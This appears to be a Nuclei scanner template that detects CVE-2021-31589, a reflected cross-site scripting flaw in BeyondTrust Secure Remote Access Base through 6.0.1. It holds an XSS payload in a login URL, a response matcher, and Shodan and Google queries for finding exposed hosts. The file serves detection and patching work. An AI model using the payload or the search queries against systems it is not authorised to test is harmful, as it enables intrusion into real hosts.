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id : CVE-2021-31589
info :
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name : BeyondTrust Secure Remote Access Base <=6.0.1 - Cross-Site Scripting
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author : Ahmed Abou-Ela
severity : medium
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description : BeyondTrust Secure Remote Access Base through 6.0.1 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML.
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remediation : |
Upgrade to a patched version of BeyondTrust Secure Remote Access Base (6.0.2 or higher) that addresses the XSS vulnerability.
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reference :
- https://packetstormsecurity.com/files/165408
- https://cxsecurity.com/issue/WLB-2022010013
- https://beyondtrustcorp.service-now.com/csm?sys_kb_id=922d0ab31bc1b490e73854ae034bcb7b&id=kb_article_view&sysparm_rank=1&sysparm_tsqueryId=64fc14ffdb8f70d422725385ca9619cb
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- https://www.beyondtrust.com/docs/release-notes/index.htm
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- https://nvd.nist.gov/vuln/detail/CVE-2021-31589
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classification :
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cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
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cve-id : CVE-2021-31589
cwe-id : CWE-79
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epss-score : 0.00286
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epss-percentile : 0.65186
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cpe : cpe:2.3:o:beyondtrust:appliance_base_software:*:*:*:*:*:*:*:*
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metadata :
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max-request : 1
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vendor : beyondtrust
product : appliance_base_software
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shodan-query: 'set-cookie : nsbase_session'
google-query : '"BeyondTrust" "Redistribution Prohibited"'
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tags : xss,packetstorm,cve,cve2021,beyondtrust,bomgar
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http :
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- method : GET
path :
- "{{BaseURL}}/appliance/login.ns?login%5Bpassword%5D=test%22%3E%3Csvg/onload=alert(document.domain)%3E&login%5Buse_curr%5D=1&login%5Bsubmit%5D=Change%20Password"
matchers-condition : and
matchers :
- type : word
part : body
words :
- '<svg/onload=alert(document.domain)>'
- 'bomgar'
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case-insensitive : true
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condition : and
- type : status
status :
- 200
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# digest: 490a00463044022049f7813dfba448deb541034bf0058c4b4973721e7d364772df19cc82a3157151022040f98e08c2307f2eb1fe21176253b4a46a6018fa3d171662d5d6b889e0397fa4:922c64590222798bb761d5b6d8e72950